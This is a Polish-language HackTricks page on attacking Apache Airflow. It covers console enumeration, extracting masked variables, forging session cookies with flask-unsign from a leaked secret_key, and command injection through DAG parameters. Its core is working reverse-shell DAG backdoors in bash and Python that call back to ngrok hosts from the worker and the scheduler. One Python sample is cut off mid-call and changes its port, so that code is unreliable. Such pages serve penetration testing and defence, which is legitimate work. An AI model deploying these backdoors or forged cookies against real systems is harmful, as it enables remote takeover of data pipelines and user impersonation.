Apache Airflow Security

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Apache Airflow służy jako platforma do orkiestracji i harmonogramowania potoków danych lub prac. Termin "orkiestracja" w kontekście potoków danych oznacza proces organizowania, koordynowania i zarządzania złożonymi potokami danych pochodzącymi z różnych źródeł. Głównym celem tych zorchestrowanych potoków danych jest dostarczanie przetworzonych i konsumowalnych zbiorów danych. Te zbiory danych są szeroko wykorzystywane przez szereg aplikacji, w tym między innymi narzędzia do inteligencji biznesowej, modele nauki danych i uczenia maszynowego, które są podstawą działania aplikacji big data.

W skrócie, Apache Airflow pozwoli Ci harmonogramować wykonanie kodu, gdy coś (zdarzenie, cron) się dzieje.

Lokalne laboratorium

Docker-Compose

Możesz użyć pliku konfiguracyjnego docker-compose z https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml aby uruchomić kompletną środowisko dockerowe Apache Airflow. (Jeśli korzystasz z systemu MacOS, upewnij się, że przypisujesz co najmniej 6 GB pamięci RAM do maszyny wirtualnej docker).

Minikube

Jednym prostym sposobem uruchomienia Apache Airflow jest uruchomienie go z minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Konfiguracja Airflow

Airflow może przechowywać informacje poufne w swojej konfiguracji lub można znaleźć słabe konfiguracje:

pageAirflow Configuration

RBAC Airflow

Zanim zaczniesz atakować Airflow, powinieneś zrozumieć jak działają uprawnienia:

pageAirflow RBAC

Ataki

Wyliczanie Konsoli Sieciowej

Jeśli masz dostęp do konsoli sieciowej, możesz mieć dostęp do niektórych lub wszystkich następujących informacji:

  • Zmienne (Tutaj mogą być przechowywane niestandardowe informacje poufne)

  • Połączenia (Tutaj mogą być przechowywane niestandardowe informacje poufne)

  • Dostęp do nich pod adresem http://<airflow>/connection/list/

  • Konfiguracja (Informacje poufne, takie jak secret_key i hasła, mogą być przechowywane tutaj)

  • Lista użytkowników i ról

  • Kod każdego DAG (który może zawierać interesujące informacje)

Pobieranie Wartości Zmiennych

Zmienne mogą być przechowywane w Airflow, aby DAGi mogły uzyskać dostęp do ich wartości. Jest to podobne do tajemnic innych platform. Jeśli masz wystarczające uprawnienia, możesz uzyskać do nich dostęp w interfejsie graficznym pod adresem http://<airflow>/variable/list/. Domyślnie Airflow pokaże wartość zmiennej w interfejsie graficznym, jednak, zgodnie z tym, można ustawić listę zmiennych, których wartość będzie wyświetlana jako gwiazdki w GUI.

Jednak te wartości mogą być nadal pobrane za pomocą CLI (musisz mieć dostęp do bazy danych), wykonania arbitralnego DAGa, dostępu do API poprzez dostęp do punktu końcowego zmiennych (API musi być aktywowane), a nawet samemu GUI! Aby uzyskać dostęp do tych wartości z GUI, po prostu wybierz zmienne, do których chcesz uzyskać dostęp, i kliknij Akcje -> Eksport. Innym sposobem jest wykonanie bruteforce do ukrytej wartości, korzystając z filtracji wyszukiwania, aż ją znajdziesz:

Eskalacja Uprawnień

Jeśli konfiguracja expose_config jest ustawiona na True, od roli Użytkownik i wyżej mogą odczytać konfigurację w sieci. W tej konfiguracji pojawia się secret_key, co oznacza, że każdy użytkownik z tą ważną wartością może utworzyć własne podpisane ciasteczko, aby podszyć się pod dowolne inne konto użytkownika.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Tylnie drzwi DAG (RCE w Airflow worker)

Jeśli masz dostęp do zapisu w miejscu, gdzie są zapisywane DAGi, możesz po prostu utworzyć taki, który wyśle do Ciebie odwrotną powłokę. Zauważ, że ta odwrotna powłoka zostanie wykonana wewnątrz kontenera airflow worker:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Tylnie drzwi DAG (RCE w harmonogramie Airflow)

Jeśli ustawisz coś do wykonania w głównym katalogu kodu, w chwili pisania tego tekstu, zostanie to wykonane przez harmonogram po kilku sekundach od umieszczenia go wewnątrz folderu DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Tworzenie DAG

Jeśli uda ci się skompromitować maszynę w klastrze DAG, możesz tworzyć nowe skrypty DAG w folderze dags/, a następnie zostaną one skopiowane na pozostałe maszyny w klastrze DAG.

Wstrzykiwanie Kodu DAG

Podczas wykonywania DAG z interfejsu graficznego, możesz przekazywać do niego argumenty. Dlatego, jeśli DAG nie jest poprawnie napisany, może być podatny na Wstrzykiwanie Poleceń. Tak właśnie stało się w przypadku tego CVE: https://www.exploit-db.com/exploits/49927

Wszystko, co musisz wiedzieć, aby rozpocząć poszukiwania wstrzykiwania poleceń w DAG, to to, że parametryodczytywane za pomocą kodu dag_run.conf.get("nazwa_parametru").

Co więcej, ta sama podatność może wystąpić w przypadku zmiennych (zauważ, że posiadając wystarczające uprawnienia, możesz kontrolować wartość zmiennych w interfejsie graficznym). Zmienne są odczytywane za pomocą:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Jeśli są używane na przykład w poleceniu bash, można przeprowadzić wstrzyknięcie poleceń.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated